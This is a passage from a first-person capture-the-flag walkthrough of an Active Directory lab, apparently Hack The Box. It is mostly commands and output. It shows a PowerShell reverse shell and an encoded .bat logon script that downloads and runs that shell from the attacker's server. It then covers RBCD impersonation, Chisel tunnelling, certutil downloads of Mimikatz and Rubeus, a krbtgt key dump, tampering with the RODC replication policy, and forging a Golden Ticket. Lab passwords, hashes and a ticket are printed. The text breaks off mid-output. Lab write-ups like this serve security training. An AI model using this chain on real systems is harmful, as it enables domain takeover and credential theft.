[byte[]]\(bytes = 0..65535|%{0};while((\)i = \(stream.Read(\)bytes, 0, $bytes.Length)) -ne 0){
\(data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\)bytes,0,$i);
\(sendback = (iex \)data 2>&1 | Out-String);\(sendback2 = \)sendback + "PS " + (pwd).Path + "> ";
\(sendbyte = ([text.encoding]::ASCII).GetBytes(\)sendback2);
\(stream.Write(\)sendbyte,0,\(sendbyte.Length);\)stream.Flush()};$client.Close()
EOF
Then a .bat wrapper that would download and execute it — because Windows logon scripts run .bat files, not .ps1:
PAYLOAD="IEX(New-Object Net.WebClient).downloadString('http://10.10.14.42:8000/shell.ps1')"
ENCODED=\((echo -n "\)PAYLOAD" | iconv -t UTF-16LE | base64 -w0)
echo "@echo off" > printerDetect.bat
echo "powershell -nop -w hidden -enc $ENCODED" >> printerDetect.bat
The idea: printerDetect.bat runs at login → PowerShell downloads shell.ps1 from my HTTP server → reverse shell connects back. Two files, one chain.
I hosted shell.ps1 on a Python HTTP server and tried the upload — the moment of truth:
┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.129.195.112/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'cd garfield.htb\scripts\; put printerDetect.bat'
putting file printerDetect.bat as \garfield.htb\scripts\printerDetect.bat (0.2 kB/s) (average 0.2 kB/s)
IIt went through. I stared at the confirmation line and felt something between relief and anger. Writable. This folder had been writable the entire time — through every failed AS-REP, every empty Kerberoast, every hung PetitPotam relay. The foothold was right here in Phase 2, hiding behind three letters I never questioned: R-E-A-D.
Quick note: this two-stage delivery — bat downloads ps1 from HTTP — works in a lab where attacker and target share the same network. In a real engagement, you'd embed the payload directly or host it on an internal share the target can reach.
Catching the Shell
I set l.wilson's scriptPath to point at my payload:
┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.195.112 set object l.wilson scriptPath -v 'printerDetect.bat'
[+] l.wilson's scriptPath has been updated
Started the listener. Waited. Watched the HTTP server.
Minutes passed. Then — a hit on the HTTP server: "GET /shell.ps1 HTTP/1.1" 200. And the listener lit up:
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.42] from (UNKNOWN) [10.129.195.112] 63991
whoami
garfield\l.wilson
PS C:\Windows\system32>
My hands were still on the keyboard but my brain had already moved three steps ahead. From a single attribute write to a full shell — the chain that BloodHound said didn't exist was very much alive.
ForceChangePassword — One Account Leads to Another
Back to BloodHound. With l.wilson compromised, new edges appeared — and this time, the graph actually had something useful. l.wilson had ForceChangePassword on l.wilson_adm. The admin tiering from Phase 2 was about to work in my favor.
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.42] from (UNKNOWN) [10.129.195.112] 63991
whoami
garfield\l.wilson
PS C:\Windows\system32> $newpass = ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force
PS C:\Windows\system32> Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $newpass -Reset
Silent success. I verified from Kali and upgraded to a proper Evil-WinRM shell:
┌──(root㉿kali)-[/home/kali]
└─# evil-winrm -i 10.129.195.112 -u 'l.wilson_adm' -p 'WhoKnows123!'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> type C:\Users\l.wilson_adm\Desktop\user.txt
8a65a7bc************************
User flag. Halfway there — but the real target was still two machines and one Golden Ticket away. And more importantly — a stable shell with file transfer capabilities. The reverse shell had served its purpose. Time to climb higher.
Phase 6: Privilege Escalation — Climbing the RODC Ladder
AddSelf — Joining the Inner Circle
A stable shell changes everything. No more waiting for simulated logins, no more fragile reverse connections dropping mid-command. With Evil-WinRM on DC01 as l.wilson_adm, I could finally work at full speed.
I pulled up BloodHound again — the same tool that had lied to me for hours. But this time I was searching from a different starting point, and this time the graph decided to cooperate. l.wilson_adm had AddSelf on the RODC Administrators group. Not "add anyone" — just "add yourself." One permission, one command, no approval chain.
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> Add-ADGroupMember -Identity "RODC Administrators" -Members l.wilson_adm
No output. No error. Just like that, I was an RODC administrator.
The rush lasted about three seconds — until I tried to figure out where RODC01 actually was.
*Evil-WinRM* PS> nslookup RODC01.garfield.htb
Server: localhost
Address: 127.0.0.1
Name: RODC01.garfield.htb
Address: 192.168.100.2
192.168.100.2. An internal address my Kali box had no route to. I pinged it from DC01 — replies came back instantly. So the two domain controllers could talk to each other, but I was on the outside looking in. I had the title of RODC admin and absolutely no way to use it. Not yet.
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> ping RODC01.garfield.htb
Pinging RODC01.garfield.htb [192.168.100.2] with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.100.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
RBCD — Faking Trust
I needed SYSTEM on RODC01, and being a local admin wouldn't get me there through psexec alone — not without a way to authenticate as a domain admin against its services. That's where RBCD comes in.
The logic is almost absurd when you spell it out: create a machine account out of thin air, tell RODC01 to trust it for delegation, then use that trust to impersonate Administrator. It shouldn't work. But Active Directory's delegation model has always been more permissive than it should be.
I created the fake machine account:
┌──(root㉿kali)-[/home/kali]
└─# impacket-addcomputer garfield.htb/l.wilson_adm:'WhoKnows123!' -computer-name 'YOURPC$' -computer-pass 'Password123!' -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account YOURPC$ with password Password123!.
Configured the delegation:
┌──(root㉿kali)-[/home/kali]
└─# impacket-rbcd garfield.htb/l.wilson_adm:'WhoKnows123!' -delegate-from 'YOURPC\(' -delegate-to 'RODC01\)' -action write -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] YOURPC\( can now impersonate users on RODC01\) via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] YOURPC$ (S-1-5-21-2502726253-3859040611-225969357-10601)
Then requested the service ticket — and immediately hit a wall:
┌──(root㉿kali)-[/home/kali]
└─# impacket-getST garfield.htb/'YOURPC$':'Password123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Clock skew. My Kali box was 8 hours behind the DC — I'd noticed the offset in the nmap output back in Phase 1 but never bothered to fix it. A quick ntpdate sync and the ticket came through:
┌──(root㉿kali)-[/home/kali]
└─# ntpdate -b 10.129.195.112
2026-04-07 23:46:55.049044 (-0400) +29057.094492 +/- 0.170469 10.129.195.112 s1 no-leap
CLOCK: time stepped by 29057.094492
┌──(root㉿kali)-[/home/kali]
└─# impacket-getST garfield.htb/'YOURPC$':'Password123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
Ticket in hand. I tried psexec — connection refused. Of course. 192.168.100.2 wasn't routable from my network. I had the key but no door to put it in.
Chisel — Tunneling Into the Inner Network
DC01 was the obvious pivot point — it had one foot in my network and one foot in 192.168.100.x. If I could run a SOCKS proxy through it, my tools on Kali could reach RODC01 as if they were on the internal segment.
Chisel was the tool for the job — a single binary that creates TCP tunnels over HTTP. But first I had to get it onto DC01. Evil-WinRM's built-in upload seemed like the obvious choice. It wasn't. I watched the progress bar crawl to 19% on a 4MB file and die. Three times. On the fourth attempt I gave up and switched to certutil — the Swiss Army knife of Windows file transfers:
# Kali — host chisel.exe
┌──(root㉿kali)-[/home/kali]
└─# python3 -m http.server 9001
# DC01 via Evil-WinRM
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> certutil -urlcache -split -f http://10.10.14.42:9000/chisel.exe C:\Users\l.wilson_adm\Documents\chisel.exe
**** Online ****
000000 ...
94f000
CertUtil: -URLCache command completed successfully.
Now the tunnel. Chisel server on Kali listening for reverse connections, client on DC01 connecting back and opening a SOCKS proxy:
┌──(root㉿kali)-[/home/kali]
└─# chisel server --reverse -p 8001
2026/04/07 23:50:52 server: Reverse tunnelling enabled
2026/04/07 23:50:52 server: Fingerprint XU6fXwMayfxkZtytgAq1GrpW7j84GEDAJyrPjneKoCU=
2026/04/07 23:50:52 server: Listening on http://0.0.0.0:8001
# DC01 via Evil-WinRM
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\chisel.exe client 10.10.14.42:8001 R:socks
chisel.exe : 2026/04/07 21:05:01 client: Connecting to ws://10.10.14.42:8001
+ CategoryInfo : NotSpecified: (2026/04/07 21:0...0.10.14.42:8001:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2026/04/07 21:05:04 client: Connected (Latency 339.2648ms)
The Chisel server on Kali confirmed the connection:
┌──(root㉿kali)-[/home/kali]
└─# chisel server --reverse -p 8001
2026/04/07 23:50:52 server: Reverse tunnelling enabled
2026/04/07 23:50:52 server: Fingerprint XU6fXwMayfxkZtytgAq1GrpW7j84GEDAJyrPjneKoCU=
2026/04/07 23:50:52 server: Listening on http://0.0.0.0:8001
2026/04/08 00:03:18 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
SOCKS proxy live on port 1080. But there was a catch — Chisel was running in the foreground, which meant my Evil-WinRM session was now locked. The tunnel was up, but I couldn't type anything else in that window. I opened a second Evil-WinRM session from Kali to keep working while the first one held the tunnel open:
#starting one more evil-winrm terminal
┌──(root㉿kali)-[/home/kali]
└─# evil-winrm -i 10.129.195.112 -u 'l.wilson_adm' -p 'WhoKnows123!'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents>
Two sessions: one holding the tunnel, one for operations. From this point on, anything I ran through proxychains on Kali would route through DC01 and into the 192.168.100.x segment. RODC01 was finally within reach.
I re-requested the service ticket through the proxy and pointed psexec at RODC01's internal address:
┌──(root㉿kali)-[/home/kali]
└─# proxychains impacket-getST garfield.htb/'YOURPC$':'Password123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.195.112
[*] Impersonating Administrator
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
┌──(root㉿kali)-[/home/kali]
└─# export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
┌──(root㉿kali)-[/home/kali]
└─# proxychains impacket-psexec garfield.htb/Administrator@RODC01.garfield.htb -k -no-pass -dc-ip 10.129.195.112 -target-ip 192.168.100.2
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[*] Found writable share ADMIN$
[*] Uploading file KThCwazW.exe
[*] Creating service LPBx on 192.168.100.2.....
[*] Starting service LPBx.....
C:\Windows\system32> whoami
nt authority\system
Mimikatz — Dumping the RODC's Secrets
I came here for one thing: the krbtgt_8245 encryption keys. Every RODC maintains its own krbtgt account with unique key material — and those keys are the raw ingredients for forging an RODC Golden Ticket.
Getting Mimikatz onto RODC01 required another round of file transfer gymnastics. RODC01 couldn't reach my Kali box directly — it only talked to DC01 on the internal segment. I used the second Evil-WinRM session to download Mimikatz onto DC01, then pushed it across to RODC01 through impacket-smbclient over the tunnel:
# Evil-WinRM session 2 on DC01 — download mimikatz
*Evil-WinRM* PS> certutil -urlcache -split -f http://10.10.14.42:9001/mimikatz.exe C:\Users\l.wilson_adm\Documents\mimikatz.exe
# Kali — push to RODC01 via proxychains
┌──(root㉿kali)-[/home/kali]
└─# proxychains impacket-smbclient garfield.htb/Administrator@RODC01.garfield.htb -k -no-pass -dc-ip 10.129.195.112 -target-ip 192.168.100.2
# use C$
# cd Windows\Temp
# put /home/kali/mimikatz.exe
My first attempt at running Mimikatz taught me a painful lesson. I used a one-liner — mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit" — and it dumped output, but psexec exited before printing everything. The AES keys I needed were cut off mid-line. I had to reconnect to RODC01 — re-request ticket, re-psexec, the whole dance — and this time run Mimikatz interactively:
# proxychains terminal
C:\Windows\system32> C:\Windows\Temp\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
privilege::debug
mimikatz # Privilege '20' OK
lsadump::lsa /inject /name:krbtgt_8245
mimikatz # Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357
RID : 00000643 (1603)
User : krbtgt_8245
* Primary
NTLM : 445aa4221e751da37a10241d962780e2
LM :
Hash NTLM: 445aa4221e751da37a10241d962780e2
ntlm- 0: 445aa4221e751da37a10241d962780e2
lm - 0: 0ab3d34a182bb016fc4cfd26544a9f16
* WDigest
01 6d31d1f92ef6d85f5517944f98bf5753
02 8c46bd5ddc680291e70800990dbc02e3
03 9ffbc24f29b9bb3df3c32b76631ff874
04 6d31d1f92ef6d85f5517944f98bf5753
05 8c46bd5ddc680291e70800990dbc02e3
06 8fc97c500bf9c7c4a0d34a497f9c5245
07 6d31d1f92ef6d85f5517944f98bf5753
08 c4bac61b7ecb407d358f836d2f4e19c6
09 c4bac61b7ecb407d358f836d2f4e19c6
10 d8938c80e1e0c80a2ec1d8b06f42cb31
11 67f002aa49f4400fa970a53e294f4bee
12 c4bac61b7ecb407d358f836d2f4e19c6
13 56062e2db43bc0069deb86de87509ca6
14 67f002aa49f4400fa970a53e294f4bee
15 7250fcfc09d9cb93345c0c1393e19e52
16 7250fcfc09d9cb93345c0c1393e19e52
17 04b30cd8b5381d4b8458b0c996503a91
18 b48bda9ef98982d5ee33766a74880e01
19 bb365cf4f0bcdadf35b6a9b04c58257b
20 85addbd6d603cca1b500f2da02b205d0
21 b6186618611e202aae4141716e6603f5
22 b6186618611e202aae4141716e6603f5
23 f3f6c9408db132bf8e59413b7b40bb16
24 0acf88cc5cb3b35888708ebefe658b6f
25 0acf88cc5cb3b35888708ebefe658b6f
26 08b8941632a5017e7178a3761dfaf7fb
27 c1b2fd89d0dafb5f9e18147042bdc433
28 712f0b6ed3b7eb7f6f135a1e298c4e09
29 bf8d51270f7f657079bb9744446d70cb
* Kerberos
Default Salt : GARFIELD.HTBkrbtgt_8245
Credentials
des_cbc_md5 : d540fe6192b9ecfe
* Kerberos-Newer-Keys
Default Salt : GARFIELD.HTBkrbtgt_8245
Default Iterations : 4096
Credentials
aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
aes128_hmac (4096) : 124c0fd09f5fa4efca8d9f1da91369e5
des_cbc_md5 (4096) : d540fe6192b9ecfe
* NTLM-Strong-NTOWF
Random Value : f4b51c2c0d006172304e31dbc6e0de6b
There it was. The AES256 key, the NTLM hash, the domain SID — three pieces of information that would let me forge a ticket as any user in the domain.
The RODC was designed to be a safe, limited outpost — a read-only copy that couldn't threaten the main domain controller even if it fell. But I was holding the keys to rewrite that assumption. "Read-only" was about to become the biggest lie in this domain.
Phase 7: Domain Takeover — The Golden Ticket That Wasn't Read-Only
Rewriting the Rules — Password Replication Policy
I had the RODC's krbtgt key. I had SYSTEM on RODC01. In theory, forging a Golden Ticket should have been straightforward — craft a TGT signed with krbtgt_8245, present it to DC01, and walk in as Administrator.
But RODC Golden Tickets have a catch that regular Golden Tickets don't. There's a gatekeeper sitting between me and DC01: the Password Replication Policy. When DC01 receives a TGT signed by an RODC's krbtgt, it checks whether the user in that ticket is allowed to have their password cached on that RODC. If the user isn't in the allow list — or worse, if they're in the deny list — the ticket gets revoked on the spot.
And by default, Administrator sits squarely in the deny list. Domain Admins, Enterprise Admins, Administrators — all explicitly blocked in msDS-NeverRevealGroup. The RODC was never supposed to cache their credentials.
So I had to rewrite the rules.
The first time I attempted this, I made a mistake that cost me an hour. I added Administrator to the allow list without clearing the deny list — assuming the allow list would take precedence:
┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u l.wilson_adm -p 'WhoKnows123!' -d garfield.htb --host 10.129.195.189 add groupMember "Allowed RODC Password Replication Group" Administrator
Traceback (most recent call last):
File "/usr/bin/bloodyAD", line 8, in <module>
sys.exit(main())
~~~~^^
File "/usr/lib/python3/dist-packages/bloodyAD/main.py", line 201, in main
output = args.func(conn, **params)
File "/usr/lib/python3/dist-packages/bloodyAD/cli_modules/add.py", line 244, in groupMember
conn.ldap.bloodymodify(group, {"member": [(Change.ADD.value, member_transformed)]})
~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/bloodyAD/network/ldap.py", line 285, in bloodymodify
raise err
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb! Result code: "insufficientAccessRights" Reason: "b'00002098: SecErr: DSID-031514A9, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00'"
Access denied. l.wilson_adm didn't have permission to modify that group's membership. But here's the thing about RODC security — the Password Replication Policy isn't just controlled by group membership. It's stored as attributes directly on the RODC's computer object: msDS-RevealOnDemandGroup (allow list) and msDS-NeverRevealGroup (deny list). And l.wilson_adm, as an RODC administrator, had write access to those attributes.
I cleared the deny list first — a lesson from my first attempt at this machine, where I modified the allow list without touching the deny list and got KRB_ERR_TGT_REVOKED for my trouble. Denied entries always override allowed entries. It doesn't matter if Administrator is on the allow list when Domain Admins is on the deny list. The deny always wins.
┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u l.wilson_adm -p 'WhoKnows123!' -d garfield.htb --host 10.129.195.189 set object 'RODC01$' msDS-NeverRevealGroup
[+] RODC01$'s msDS-NeverRevealGroup has been updated
Then added Administrator to the allow list:
┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u l.wilson_adm -p 'WhoKnows123!' -d garfield.htb --host 10.129.195.189 set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
[+] RODC01$'s msDS-RevealOnDemandGroup has been updated
One more subtlety I learned the hard way: bloodyAD set object overwrites the entire attribute — it doesn't append. The original entries in the Allowed RODC Password Replication Group were replaced with just Administrator. In a real engagement, this would break replication for every account legitimately cached on the RODC. In a CTF, I could afford the collateral damage. But it's worth noting: set is a sledgehammer, not a scalpel.
The deny list was empty. Administrator was on the allow list. The RODC's Password Replication Policy — the last line of defense between a compromised RODC and full domain takeover — was gone.
Rubeus — Forging the Ticket (and the Version That Almost Broke Everything)
Time to forge the Golden Ticket. But first — getting the tool onto DC01. I downloaded two versions of Rubeus on Kali: v2.2.0 from Ghostpack's compiled binaries, and v2.3.3 from SharpCollection. Then uploaded both to DC01 using the same certutil trick that had saved me with Chisel and Mimikatz:
┌──(root㉿kali)-[/home/kali]
└─# evil-winrm -i 10.129.195.189 -u 'l.wilson_adm' -p 'WhoKnows123!'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> certutil -urlcache -split -f http://10.10.14.42:9001/Rubeus_old.exe C:\Users\l.wilson_adm\Documents\Rubeus_old.exe
**** Online ****
000000 ...
06d200
CertUtil: -URLCache command completed successfully.
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> certutil -urlcache -split -f http://10.10.14.42:9001/Rubeus_new.exe C:\Users\l.wilson_adm\Documents\Rubeus_new.exe
**** Online ****
000000 ...
073c00
CertUtil: -URLCache command completed successfully.
I started with the old version — not because I expected it to work, but because the first time I attacked this machine, it was the only version I had. And the error it threw sent me on a wild goose chase I'll never forget.
Rubeus v2.2.0 forged the ticket without complaint:
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus_old.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /outfile:C:\Users\l.wilson_adm\Documents\rodc_golden.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Build TGT
[*] Building PAC
[*] Domain : GARFIELD.HTB (GARFIELD)
[*] SID : S-1-5-21-2502726253-3859040611-225969357
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : garfield.htb
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@garfield.htb'
[*] AuthTime : 4/8/2026 10:25:24 AM
[*] StartTime : 4/8/2026 10:25:24 AM
[*] EndTime : 4/8/2026 8:25:24 PM
[*] RenewTill : 4/15/2026 10:25:24 AM
[*] base64(ticket.kirbi):
doIFRzCCBUOgAwIBBaEDAgEWooIENDCCBDBhggQsMIIEKKADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+g
AwIBAqEYMBYbBmtyYnRndBsMZ2FyZmllbGQuaHRio4ID7DCCA+igAwIBEqEDAgEDooID2gSCA9Y/6z8I
X3c0LiRDlo/6viuWHvPyPzJyPmn+2b8kikW/8Fhbo88heDvQKTC+p0EsxlN6nMuyN1fxqksXwTW7+m1c
UkGqKmn6D7xeCov1qP7dKlV5ElUnrJnJb0OgWVpCedG8I6CsMp63m/Y1otvVx5SXpscb6AZwL23BpRDP
1LVNgDyTavj+UJgapOdnEQrd83R8fb6emzySGz1iHERCjJumQoLHDnVU+mvxdkoAktKt0C2Y/2uZD/FB
XfSWBPNhG/mgwx1DNABmnqZqD48uL6sfpaOz+nmz5jwULsS8VQmTnDNGPnxW+0chd9FvM47Oti1PULR6
GmGbdiT+HTAUJyH8bmkUowILDwW5R6MhQbcqZX5GixeCRo3VxwQAe9qmrHnWE4t9qd3mNxmhqqE1Mcjj
SGLC6lVPB9E5aGMDKfcNBIcw+IhwVzdWTibhyoHbArFgLOeJkSDddIxiAwgrMbM443lH6Fb3O2MJrByB
lgtFD7HqEQbFVdQ3RzgS49T96jrYCu3wHepUAvxoyvOe+h2fSU8RVYwzrAK8RHhg/bFk+Rp8ZCl2ziLu
P3qhrlbFv/jeEymfalKw8ivK5HqZzUO6zRVcZ46ng4wjlpLz5SY03P2N6BB5rSFzzNAJ0hPlBHDtEmpO
pHH7WmYmcRwnc5O2WqbQwASyu5zhq0FZMrichcw3wbP6WREcFdGk4iaFJ/wYYxbzuep4GDg05i54TqZI
ffEraSsOxXRPZD7dH7LZsU6OmB03ZFSNYQleEB+HKUU/oWLbfbKa721BsDro5kRBWvKDUXKuPkvy9Gch
BD7TKC0xMqpe+8je/6O73v9md6mQv5zKW+62v4N/zU2lbHmZEx8ccg1E0jUjOfC3IDarzxUx36Ckblmd
SdbLNlG6CpY8TNSfF082Ktld8WuKmNmC+87D81VEbIrJjGeXnJEiU0ZGce83nAjVBQ6K6ciN2flOy/uj
N/qe2qOLWZt2+Yg1VTckNfsRnmGsUrjTW7VU8dmrC9siq7gZz0IJYyMwNahWpjwKkohy5thw6QQ3pkeB
t3g2mwv3vvtK6qwNtuxLnW4zGsNjmNSdyz5r1QQxk3v+r5cYcRXRAbvnmhA7twjS6HiWLRf6qd/Z0mZm
z9ajTZHKVOKyAws5mHHXLGcjqqCpUjSdyHx5/FJXk+TYp43v8uim/0U+L5epvB6oVpUtXlXLvwCrVPXh
YUFv9k/9bOMU4WgDTpMwY0ike7N9GDffSf1xvE1tDDRzQBqBMBSe1ADeyP+jjCsir5cLK95E2tC22Srd
gd8LaZFb73+Kgb5lz3uN4l5co4H+MIH7oAMCAQCigfMEgfB9ge0wgeqggecwgeQwgeGgKzApoAMCARKh
IgQg7H56EWSvDegQfBjb6YoNWT/jmqe40BtlUJ9gq5ToliKhDhsMR0FSRklFTEQuSFRCohowGKADAgEB
oREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOAAAKQRGA8yMDI2MDQwODE3MjUyNFqlERgPMjAyNjA0MDgx
NzI1MjRaphEYDzIwMjYwNDA5MDMyNTI0WqcRGA8yMDI2MDQxNTE3MjUyNFqoDhsMR0FSRklFTEQuSFRC
qSEwH6ADAgECoRgwFhsGa3JidGd0GwxnYXJmaWVsZC5odGI=
[*] Ticket written to C:\Users\l.wilson_adm\Documents\rodc_golden_2026_04_08_17_25_24_Administrator_to_krbtgt@GARFIELD.HTB.kirbi
Looked perfect. I tried to use it:
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus_old.exe asktgs /ticket:C:\Users\l.wilson_adm\Documents\rodc_golden_2026_04_08_17_25_24_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /service:cifs/DC01.garfield.htb /dc:DC01.garfield.htb /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/DC01.garfield.htb'
[*] Using domain controller: DC01.garfield.htb (fe80::8d:6111:6cf0:bb46%7)
[X] KRB-ERROR (31) : KRB_AP_ERR_BAD_INTEGRITY
Bad integrity. The ticket was forged, the PRP was fixed, the key was correct — but the KDC rejected it anyway. I stared at the error, checked every parameter twice, re-dumped the krbtgt key to make sure I hadn't copied it wrong. Everything matched. I started questioning the entire attack chain — maybe the PRP wasn't right, maybe the key was wrong, maybe RODC Golden Tickets just didn't work the way I thought they did.
It took longer than I'd like to admit before I questioned the one thing I should have questioned first: the tool itself. Rubeus v2.2.0 has a bug in its RODC Golden Ticket implementation — the way it signs the PAC doesn't correctly handle the RODC key identifier, so the KDC's integrity check fails even when the key material is perfect. It's the kind of bug that makes you doubt everything before you doubt the tool.
I switched to Rubeus v2.3.3:
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus_new.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /outfile:C:\Users\l.wilson_adm\Documents\rodc_golden_new.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Build TGT
[*] Building PAC
[*] Domain : GARFIELD.HTB (GARFIELD)
[*] SID : S-1-5-21-2502726253-3859040611-225969357
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : garfield.htb
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@garfield.htb'
[*] AuthTime : 4/8/2026 10:26:50 AM
[*] StartTime : 4/8/2026 10:26:50 AM
[*] EndTime : 4/8/2026 8:26:50 PM
[*] RenewTill : 4/15/2026 10:26:50 AM
